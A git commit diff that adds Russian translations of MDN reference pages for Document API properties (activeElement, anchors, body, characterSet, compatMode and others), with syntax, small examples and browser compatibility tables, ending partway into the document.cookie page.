diff options
| author | Peter Bengtsson <mail@peterbe.com> | 2020-12-08 14:42:52 -0500 |
|---|---|---|
| committer | Peter Bengtsson <mail@peterbe.com> | 2020-12-08 14:42:52 -0500 |
| commit | 074785cea106179cb3305637055ab0a009ca74f2 (patch) | |
| tree | e6ae371cccd642aa2b67f39752a2cdf1fd4eb040 /files/ru/web/api/document | |
| parent | da78a9e329e272dedb2400b79a3bdeebff387d47 (diff) | |
| download | translated-content-074785cea106179cb3305637055ab0a009ca74f2.tar.gz translated-content-074785cea106179cb3305637055ab0a009ca74f2.tar.bz2 translated-content-074785cea106179cb3305637055ab0a009ca74f2.zip | |
initial commit
Diffstat (limited to 'files/ru/web/api/document')
60 files changed, 6180 insertions, 0 deletions
diff --git a/files/ru/web/api/document/activeelement/index.html b/files/ru/web/api/document/activeelement/index.html new file mode 100644 index 0000000000..1a46c20a30 --- /dev/null +++ b/files/ru/web/api/document/activeelement/index.html @@ -0,0 +1,164 @@ +--- +title: Document.activeElement +slug: Web/API/Document/activeElement +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/DocumentOrShadowRoot/activeElement +--- +<p>{{ ApiRef() }}</p> + +<h2 id="Summary" name="Summary">Анотация</h2> + +<p>Возвращает текущий сфокусированный элемент, то есть элемент, на котором будут вызываться события клавиатуры, если пользователь начнёт с неё ввод. Этот атрибут доступен только для чтения.</p> + +<p>Часто возвращается {{ HTMLElement("input") }} или {{ HTMLElement("textarea") }} объект, если он содержит в себе выделенный в данный момент текст. При этом вы можете получить более подробные сведения, используя свойства элемента <code>selectionStart</code> и <code>selectionEnd</code>. В других случаях сфокусированным элементом может быть {{ HTMLElement("select") }} элемент (меню) или {{ HTMLElement("input") }} элемент типа button, checkbox или radio.</p> + +<p>{{ Note("На Mac, элементы, не являющиеся текстовыми полями, как правило, не получают фокус.") }}</p> + +<p>Как правило, пользователь может нажать клавишу табуляции для перемещения по фокусируемым элементам страницы, и использовать пробел для их активации (нажать кнопку button, выбрать переключатель radio).</p> + +<p>Не следует путать фокус с выделением документа, состоящего в основном из статических текстовых узлов. См. {{ domxref("window.getSelection()") }}. </p> + +<p>Когда выделение отсутствует, активным элементом является {{ HTMLElement("body") }} страницы или null. </p> + +<p>{{ Note("Этот атрибут является частью разрабатываемой спецификации HTML 5.") }}</p> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="eval">var curElement = document.activeElement; +</pre> + +<h2 id="Example" name="Example">Пример</h2> + +<pre class="brush: html"><!DOCTYPE HTML> +<html> +<head> + <script type="text/javascript" charset="utf-8"> + function init() { + + function onMouseUp(e) { + console.log(e); + var outputElement = document.getElementById('output-element'); + var outputText = document.getElementById('output-text'); + var selectedTextArea = document.<strong>activeElement</strong>; + var selection = selectedTextArea.value.substring( + selectedTextArea.<strong>selectionStart</strong>, selectedTextArea.<strong>selectionEnd</strong>); + outputElement.innerHTML = selectedTextArea.id; + outputText.innerHTML = selection; + } + + document.getElementById("ta-example-one").addEventListener("mouseup", onMouseUp, false); + document.getElementById("ta-example-two").addEventListener("mouseup", onMouseUp, false); + } + </script> +</head> +<body onload="init()"> +<div> + Выделите текст в одном из текстовых полей ниже: +</div> +<form id="frm-example" action="#" accept-charset="utf-8"> +<textarea name="ta-example-one" id="ta-example-one" rows="8" cols="40"> +Это текстовое поле 1: +Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec tincidunt, lorem a porttitor molestie, odio nibh iaculis libero, et accumsan nunc orci eu dui. +</textarea> +<textarea name="ta-example-two" id="ta-example-two" rows="8" cols="40"> +Это текстовое поле 2: +Fusce ullamcorper, nisl ac porttitor adipiscing, urna orci egestas libero, ut accumsan orci lacus laoreet diam. Morbi sed euismod diam. +</textarea> +</form> +ID активного элемента: <span id="output-element"></span><br/> +Выделенный текст: <span id="output-text"></span> + +</body> +</html> +</pre> + +<p><a href="https://jsfiddle.net/w9gFj">Посмотреть на JSFiddle</a></p> + +<h2 id="Примечания">Примечания</h2> + +<p>Первоначально введенное как собственное расширение DOM в Internet Explorer 4, это свойство также поддерживается в Opera и Safari (в версии 4).</p> + +<h2 id="Specification" name="Specification">Спецификации</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'interaction.html#dom-document-activeelement', 'activeElement')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>2</td> + <td>3.0</td> + <td>4 [1]</td> + <td>9.6</td> + <td>4.0</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1]: В IE9 наблюдается баг: при попытке получения доступа к <code>activeElement в </code>{{domxref("window.parent")}} {{domxref("Document")}} из {{HTMLElement("iframe")}} (т.е. <code>parent.document.activeElement</code>) выбрасывается ошибка.</p> + +<h2 id="Связанные_события">Связанные события</h2> + +<ul> + <li>{{event("focus")}}</li> + <li>{{event("blur")}}</li> + <li>{{event("focusin")}}</li> + <li>{{event("focusout")}}</li> +</ul> diff --git a/files/ru/web/api/document/alinkcolor/index.html b/files/ru/web/api/document/alinkcolor/index.html new file mode 100644 index 0000000000..30ae4fccc9 --- /dev/null +++ b/files/ru/web/api/document/alinkcolor/index.html @@ -0,0 +1,40 @@ +--- +title: Document.alinkColor +slug: Web/API/Document/alinkColor +tags: + - API + - Obsolete + - Property +translation_of: Web/API/Document/alinkColor +--- +<p>{{APIRef("DOM")}} {{ Deprecated_header() }}</p> + +<p>Возвращает или задает цвет активной ссылки в теле документа. Ссылка активна в течение времени между событиями mousedown и mouseup.</p> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="eval"><em>color</em> = document.alinkColor +document.alinkColor = <em>color</em> +</pre> + +<p>Color - строка, содержащая имя цвета (например, <code>blue</code>, <code>dark blue</code> и т.д.) или шестнадцатеричное значение цвета(<code>#0000FF</code>)</p> + +<h2 id="Notes" name="Notes">Примичание</h2> + +<p>Значение по умолчанию для этого свойства в Mozilla Firefox является красным (<code>#ee0000</code> в шестнадцатеричном формате).</p> + +<p><code>document.alinkColor</code> устарел в <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML</a>. Одним из вариантов является CSS-селектор {{ Cssxref(":active") }}.</p> + +<p>Другой альтернативой является document.body.aLink, хотя это <a href="http://www.w3.org/TR/html401/struct/global.html#adef-alink">устарело в HTML 4.01</a> в пользу альтернативы CSS.</p> + +<p><a href="en/Gecko">Gecko</a> подерживает оба варианта <code>alinkColor</code>/<code>:active</code> and {{ Cssxref(":focus") }}. Internet Explorer 6 и 7 подерживает <code>alinkColor</code>/<code>:active</code> только для<a href="en/HTML/Element/a"> HTML ссылок с якорем (<a>)</a> и поведение у них такое же, как <code>:focus</code> в Gecko. В IE нет поддержки :focus.</p> + +<h2 id="Браузерная_поддержка">Браузерная поддержка</h2> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.alinkColor")}}</p> + +<p> </p> diff --git a/files/ru/web/api/document/all/index.html b/files/ru/web/api/document/all/index.html new file mode 100644 index 0000000000..2922af874e --- /dev/null +++ b/files/ru/web/api/document/all/index.html @@ -0,0 +1,42 @@ +--- +title: Document.all +slug: Web/API/Document/all +translation_of: Web/API/Document/all +--- +<div>{{APIRef("DOM")}}{{Draft}}{{Deprecated_Header("HTML5")}}</div> + +<p>The {{DOMxRef("Document")}} Свойство <strong><code>all</code></strong> только для чтения интерфейса возвращает: {{DOMxRef("HTMLAllCollection")}} С корнем в узле документа. Другими словами, он возвращает все содержимое страницы.</p> + +<h2 id="Синтаксис">Синтаксис</h2> + +<pre class="syntaxbox">var <var>htmlAllCollection</var> = document.all;</pre> + +<h3 id="Параметры">Параметры</h3> + +<p>В {{DOMxRef("HTMLAllCollection")}} содержится все узелы в документе.</p> + +<h2 id="Спецификации">Спецификации</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Спецификации</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'obsolete.html#dom-document-all', 'all')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Первоначальное определение.<br> + Устаревший и находится вустаревшем разделе API.</td> + </tr> + </tbody> +</table> + +<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> + + + +<p>{{Compat("api.Document.all")}}</p> diff --git a/files/ru/web/api/document/anchors/index.html b/files/ru/web/api/document/anchors/index.html new file mode 100644 index 0000000000..9d9f3aaa70 --- /dev/null +++ b/files/ru/web/api/document/anchors/index.html @@ -0,0 +1,125 @@ +--- +title: Document.anchors +slug: Web/API/Document/anchors +tags: + - API + - Document + - HTML DOM + - id + - name + - Якоря +translation_of: Web/API/Document/anchors +--- +<div>{{APIRef("DOM")}}</div> + +<p><strong><code>anchors</code></strong> возвращает массив всех якорей в документе.</p> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="syntaxbox"><var>nodeList</var> = document.anchors; +</pre> + +<p> </p> + +<h3 id="Значение">Значение</h3> + +<p>{{domxref("HTMLCollection")}}.</p> + +<p> </p> + +<h2 id="Example" name="Example">Пример</h2> + +<pre class="brush:js">if ( document.anchors.length >= 5 ) { + dump("найдено слишком много якорей"); + window.location = "http://www.google.com"; +} +</pre> + +<p>Следующий пример автоматически генерирует список якорей из заглавий блоков, имеющихся на странице:</p> + +<pre class="brush:html"><!DOCTYPE html> +<html lang="en"> +<head> +<meta charset="UTF-8" /> +<title>Test</title> +<script> +function init() { + var toc = document.getElementById("toc"); + var i, li, newAnchor; + for (i = 0; i < document.anchors.length; i++) { + li = document.createElement("li"); + newAnchor = document.createElement('a'); + newAnchor.href = "#" + document.anchors[i].name; + newAnchor.innerHTML = document.anchors[i].text; + li.appendChild(newAnchor); + toc.appendChild(li); + } +} +</script> + +</head> +<body onload="init()"> + +<h1>Title</h1> +<h2><a name="contents">Contents</a></h2> +<ul id="toc"></ul> + +<h2><a name="plants">Plants</a></h2> +<ol> + <li>Apples</li> + <li>Oranges</li> + <li>Pears</li> +</ol> + +<h2><a name="veggies">Veggies</a></h2> +<ol> + <li>Carrots</li> + <li>Celery</li> + <li>Beats</li> +</ol> + +</body> +</html> +</pre> + +<p><a href="https://jsfiddle.net/S4yNp">Посмотреть на JSFiddle</a></p> + +<h2 id="Notes" name="Notes">Примечание</h2> + +<p>По причине обратной совместимости возвращаемый массив якорей включает в себя лишь якоря, созданные с помощью атрибута <strong>name</strong>, а не а <strong>id</strong>.</p> + +<p> </p> + +<h2 id="Спецификации">Спецификации</h2> + +<table> + <thead> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-anchors', 'Document.anchors')}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td>Obsoleted.</td> + </tr> + <tr> + <td>{{SpecName('DOM2 HTML', 'html.html#ID-7577272', 'Document.anchors')}}</td> + <td>{{ Spec2('DOM2 Events') }}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Браузерная_поддержка">Браузерная поддержка</h2> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.anchors")}}</p> + +<p> </p> diff --git a/files/ru/web/api/document/applets/index.html b/files/ru/web/api/document/applets/index.html new file mode 100644 index 0000000000..c82cbdb403 --- /dev/null +++ b/files/ru/web/api/document/applets/index.html @@ -0,0 +1,71 @@ +--- +title: Document.applets +slug: Web/API/Document/applets +tags: + - API + - Document + - HTML DOM + - Апплеты + - Документ +translation_of: Web/API/Document/applets +--- +<p>{{APIRef("DOM")}}</p> + +<p><strong><code>applets</code></strong> возвращает массив апплетов, находящихся в документе.</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: The {{htmlelement("applet")}} element was removed in <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1279218">Gecko 56</a> and <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=470301">Chrome in late 2015</a>. Since then, calling <code>document.applets</code> in those browsers always returns an empty {{domxref("HTMLCollection")}}. Removal is being considered in <a href="https://bugs.webkit.org/show_bug.cgi?id=157926">WebKit</a>and <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/11946645/">Edge</a>.</p> +</div> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="eval"><em>nodeList</em> = document.applets +</pre> + +<p> </p> + +<h3 id="Значение">Значение</h3> + +<p>{{domxref("HTMLCollection")}}.</p> + +<p> </p> + +<h2 id="Example" name="Example">Пример</h2> + +<pre class="eval">// Когда вы точно знаете, что вам нужен 2й апплет +my_java_app = document.applets[1]; +</pre> + +<h2 id="Спецификации">Спецификации</h2> + +<table> + <thead> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-applets', 'Document.applets')}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td>Obsoleted.</td> + </tr> + <tr> + <td>{{SpecName('DOM2 HTML', 'html.html#ID-85113862', 'Document.applets')}}</td> + <td>{{ Spec2('DOM2 Events') }}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Браузерная_поддержка">Браузерная поддержка</h2> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.applets")}}</p> + +<p> </p> diff --git a/files/ru/web/api/document/async/index.html b/files/ru/web/api/document/async/index.html new file mode 100644 index 0000000000..2ff21f28af --- /dev/null +++ b/files/ru/web/api/document/async/index.html @@ -0,0 +1,35 @@ +--- +title: Document.async +slug: Web/API/Document/async +translation_of: Web/API/XMLDocument/async +--- +<p>{{APIRef("DOM")}}{{Deprecated_header}} {{Non-standard_header}}</p> + +<p><code>document.async</code> может быть установлен, для того, чтобы определить, что вызов {{domxref("document.load")}} должен быть выполнен синхронно или не синхронно. <code>true</code> - стандартное значение, определяющее, асинхронно ли должны быть загружены документы.</p> + +<p>(Загружать документы синхронно стало возможно с версии 1.4 alpha.)</p> + +<h2 id="Пример">Пример</h2> + +<pre class="brush:js">function loadXMLData(e) { + alert(new XMLSerializer().serializeToString(e.target)); // Gives querydata.xml contents as string +} + +var xmlDoc = document.implementation.createDocument("", "test", null); + +xmlDoc.async = false; +xmlDoc.onload = loadXMLData; +xmlDoc.load('querydata.xml');</pre> + +<h2 id="Specification" name="Specification">Спецификация</h2> + +<ul> + <li><a href="http://www.w3.org/TR/DOM-Level-3-LS/load-save.html#LS-DocumentLS">DOM Level 3 Load & Save module</a></li> +</ul> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li><a href="/en-US/docs/XML_in_Mozilla" title="XML_in_Mozilla">XML in Mozilla</a></li> + <li>{{domxref("document.load")}}</li> +</ul> diff --git a/files/ru/web/api/document/bgcolor/index.html b/files/ru/web/api/document/bgcolor/index.html new file mode 100644 index 0000000000..60d802621a --- /dev/null +++ b/files/ru/web/api/document/bgcolor/index.html @@ -0,0 +1,45 @@ +--- +title: Document.bgColor +slug: Web/API/Document/bgColor +tags: + - API + - Deprecated + - Property +translation_of: Web/API/Document/bgColor +--- +<p>{{APIRef("DOM")}} {{ Deprecated_header() }}</p> + +<p>Устаревшее свойство <code>bgColor</code> возвращает или устанавливает цвет фона текущего документа.</p> + +<h2 id="Синтаксис">Синтаксис</h2> + +<pre class="syntaxbox"><em>color</em> = document.bgColor +document.bgColor =<em>color</em> +</pre> + +<h3 id="Параметры">Параметры</h3> + +<ul> + <li><code>color</code> это строка представляющая цвет или в виде слова (например <code>red</code>) или шестнадцатиричного значения (т.е. "<code>#ff0000</code>").</li> +</ul> + +<h2 id="Пример">Пример</h2> + +<pre class="eval">document.bgColor = "darkblue"; +</pre> + +<h2 id="Примечание">Примечание</h2> + +<p>В Firefox это поле по умолчанию содержит белый цвет (<code>#ffffff</code> в шестнадцатиричном виде).</p> + +<p><code>Поле document.bgColor</code> признано устаревшим в <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML</a>. В качестве альтернативы рекомендуется использовать CSS стиль {{Cssxref("background-color")}} который доступен через DOM как <code>document.body.style.backgroundColor</code>. Другой альтернативой доступа является <code>document.body.bgColor</code>, хотя этот вариант также признан устаревшим в HTML 4.01 и также рекомендуется использовать CSS.</p> + +<h2 id="Браузерная_поддержка">Браузерная поддержка</h2> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.bgColor")}}</p> + +<p> </p> diff --git a/files/ru/web/api/document/body/index.html b/files/ru/web/api/document/body/index.html new file mode 100644 index 0000000000..1a6be5d191 --- /dev/null +++ b/files/ru/web/api/document/body/index.html @@ -0,0 +1,87 @@ +--- +title: Document.body +slug: Web/API/Document/body +tags: + - API + - BODY + - Document + - frameset +translation_of: Web/API/Document/body +--- +<div>{{APIRef("DOM")}}</div> + +<p>Возвращает узел {{HTMLElement("body")}} или {{HTMLElement("frameset")}} текущей страницы, или <strong><code>null</code></strong> если таких элементов не существует.</p> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="syntaxbox"><em>var objRef</em> = document.body; +document.body = <em>objRef;</em></pre> + +<h2 id="Example" name="Example">Пример</h2> + +<pre class="brush:js">// в HTML: <body id="oldBodyElement"></body> +alert(document.body.id); // "oldBodyElement" + +var aNewBodyElement = document.createElement("body"); + +aNewBodyElement.id = "newBodyElement"; +document.body = aNewBodyElement; +alert(document.body.id); // "newBodyElement" +</pre> + +<h2 id="Notes" name="Notes">Примечания</h2> + +<p><strong><code>document.body</code></strong> это элемент, который включает в себя содержимое страницы. На страницах с <code><body></code> вернётся элемент <code><body></code>, а с frameset'ом - элемент <code><frameset></code>.</p> + +<p><strong><code>body</code></strong> может быть заменено, но это удалит все его дочерние элементы.</p> + +<h2 id="Specification" name="Specification">Спецификации</h2> + +<table class="spectable standard-table"> + <tbody> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарии</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG','dom.html#dom-document-body','Document.body')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5.1','dom.html#dom-document-body','Document.body')}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C','dom.html#dom-document-body','Document.body')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('DOM2 HTML','html.html#ID-56360201','Document.body')}}</td> + <td>{{Spec2('DOM2 HTML')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('DOM1','level-one-html.html#attribute-body','Document.body')}}</td> + <td>{{Spec2('DOM1')}}</td> + <td>Исходное определение.</td> + </tr> + </tbody> +</table> + +<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.body")}}</p> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li>{{domxref("document.head")}}</li> +</ul> diff --git a/files/ru/web/api/document/characterset/index.html b/files/ru/web/api/document/characterset/index.html new file mode 100644 index 0000000000..021ce45b4a --- /dev/null +++ b/files/ru/web/api/document/characterset/index.html @@ -0,0 +1,119 @@ +--- +title: Document.characterSet +slug: Web/API/Document/characterSet +tags: + - API + - DOM + - Document + - Read-only +translation_of: Web/API/Document/characterSet +--- +<p>{{ ApiRef("DOM") }}</p> + +<p><code><strong>Document.characterSet</strong></code> доступное только для чтения свойство, возвращает кодировку текущей страницы. Кодировка это набор символов, используемый для отрисовки документа, которая может отличаться от кодировки, заданной на странице (пользователь может переназначить кодировку)</p> + +<div class="note"> +<p>Свойства <code>document.charset</code> и <code>document.inputEncoding</code> это устаревшие алиасы <code>document.characterSet</code>. Не используйте их больше.</p> +</div> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="syntaxbox">var <em>string</em> = document.characterSet</pre> + +<h2 id="Example" name="Example">Примеры</h2> + +<pre><button onclick="alert(document.characterSet);">Показать кодировку</button> +// вернёт кодировку документа вида "ISO-8859-1" или "UTF-8" +</pre> + +<h2 id="Notes" name="Notes">Спецификации</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th>Спецификация</th> + <th>Статус</th> + <th>Комментарий</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-characterset', 'characterSet')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Исходное определение.</td> + </tr> + </tbody> +</table> + +<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Возможность</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Базовая поддержка</td> + <td>{{CompatChrome(45.0)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>кодировка</code></td> + <td>Сделано read-only в {{CompatChrome(45)}}</td> + <td>{{CompatGeckoDesktop(44)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile" style="line-height: 19.0909080505371px;"> +<table class="compat-table"> + <tbody> + <tr> + <th>Возможность</th> + <th>Android</th> + <th>Android Webview</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Базовая поддержка</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(45.0)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatChrome(45.0)}}</td> + </tr> + <tr> + <td><code>кодировка</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile(44)}}</td> + <td>2.5</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/ru/web/api/document/close/index.html b/files/ru/web/api/document/close/index.html new file mode 100644 index 0000000000..ba5d9ff72a --- /dev/null +++ b/files/ru/web/api/document/close/index.html @@ -0,0 +1,63 @@ +--- +title: Document.close() +slug: Web/API/Document/close +tags: + - API + - Document + - HTML DOM + - Справка + - метод +translation_of: Web/API/Document/close +--- +<p>{{APIRef("DOM")}}</p> + +<p>Метод <code>document.close()</code> завершает запись в документ, открытый с помощью <a href="/en/DOM/document.open" title="en/DOM/document.open">document.open()</a>.</p> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="eval">document.close(); +</pre> + +<h2 id="Example" name="Example">Пример</h2> + +<pre>// открытие документа для записи в него. +// запись содержимого документа. +// закрытие документа. +document.open(); +document.write("<p>The one and only content.</p>"); +document.close(); +</pre> + +<h2 id="Спецификации">Спецификации</h2> + +<table> + <thead> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "#dom-document-close", "document.close()")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("DOM2 HTML", "html.html#ID-98948567", "document.close()")}}</td> + <td>{{Spec2("DOM2 HTML")}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Браузерная_поддержка">Браузерная поддержка</h2> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.close")}}</p> + +<p> </p> diff --git a/files/ru/web/api/document/compatmode/index.html b/files/ru/web/api/document/compatmode/index.html new file mode 100644 index 0000000000..f8a48a4ca2 --- /dev/null +++ b/files/ru/web/api/document/compatmode/index.html @@ -0,0 +1,50 @@ +--- +title: Document.compatMode +slug: Web/API/Document/compatMode +tags: + - API + - DOM + - almost standards + - quirk + - standards + - Свойство + - режимы +translation_of: Web/API/Document/compatMode +--- +<p>{{ ApiRef("DOM") }}</p> + +<p>Определяет когда документ отображается в <a href="/en/Quirks_Mode_and_Standards_Mode" title="en/Mozilla's Quirks Mode">Quirks mode</a> или Стандартном режиме.</p> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="eval"><em>mode</em> = document.compatMode +</pre> + +<h2 id="Значения">Значения</h2> + +<ul> + <li><code>"BackCompat"</code> если документ в quirks mode;</li> + <li><code>"CSS1Compat"</code> если документ в не-quirks (также известном как "standards") mode или лимитированный-quirks (известный как "almost standards") mode.</li> +</ul> + +<dl> + <dt><code>mode</code></dt> + <dd>Исчислимая величина, которая может быть:</dd> +</dl> + +<div class="note"> +<p><strong>Примечание</strong>: все эти режимы внесены в стандарт, поэтому старые названия "standards" и "almost standards" теперь бессмысленны и не используются.</p> +</div> + +<h2 id="Example" name="Example">Пример</h2> + +<pre class="eval">if (document.compatMode == "BackCompat") { + // в Quirks режиме +} +</pre> + +<h2 id="Specification" name="Specification">Спецификации</h2> + +<ul> + <li><a class="external" href="http://dom.spec.whatwg.org/#dom-document-compatmode" title="http://dom.spec.whatwg.org/#dom-document-compatmode">DOM: Document.compatMode</a></li> +</ul> diff --git a/files/ru/web/api/document/contenttype/index.html b/files/ru/web/api/document/contenttype/index.html new file mode 100644 index 0000000000..78f90fc116 --- /dev/null +++ b/files/ru/web/api/document/contenttype/index.html @@ -0,0 +1,23 @@ +--- +title: Document.contentType +slug: Web/API/Document/contentType +translation_of: Web/API/Document/contentType +--- +<p>{{ ApiRef("DOM") }}{{Non-standard_header}}</p> + +<p>Возвращает MIME-тип при рендеринге страницы. Информация может поступать из заголовка HTTP или других ресурсов MIME.</p> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="eval"><var>contentType</var> = <var>document</var>.contentType; +</pre> + +<p>Свойство contentType доступно только для чтения.</p> + +<h2 id="Notes" name="Notes">Заметки</h2> + +<p>Свойство не влияет на МЕТА теги.</p> + +<h2 id="Specification" name="Specification">Спецификации</h2> + +<p>Не является стандартом, поддерживается только <a href="/en-US/docs/Gecko/Embedding_Mozilla/FAQ/Embedding_Gecko">Gecko</a>. Для использования только в отладчике chrome (<a href="/en/Extensions">Extensions</a> и XUL Mozilla Firefox).</p> diff --git a/files/ru/web/api/document/cookie/index.html b/files/ru/web/api/document/cookie/index.html new file mode 100644 index 0000000000..286bb779f8 --- /dev/null +++ b/files/ru/web/api/document/cookie/index.html @@ -0,0 +1,360 @@ +--- +title: Document.cookie +slug: Web/API/Document/cookie +tags: + - API + - Document + - HTML DOM + - JS + - cookie +translation_of: Web/API/Document/cookie +--- +<div>{{APIRef("DOM")}}</div> + +<p>Статья описывает получение и установку cookies связанных с текущим документом. Общая библиотека для работы с cookies смотри<a href="/en-US/docs/Web/API/Document/cookie/Simple_document.cookie_framework"> simple cookie framework</a>.</p> + +<h2 id="Синтаксис">Синтаксис</h2> + +<h3 id="Чтение_всех_cookies_связанных_с_текущим_документом">Чтение всех cookies, связанных с текущим документом</h3> + +<pre class="syntaxbox notranslate"><em>allCookies</em> 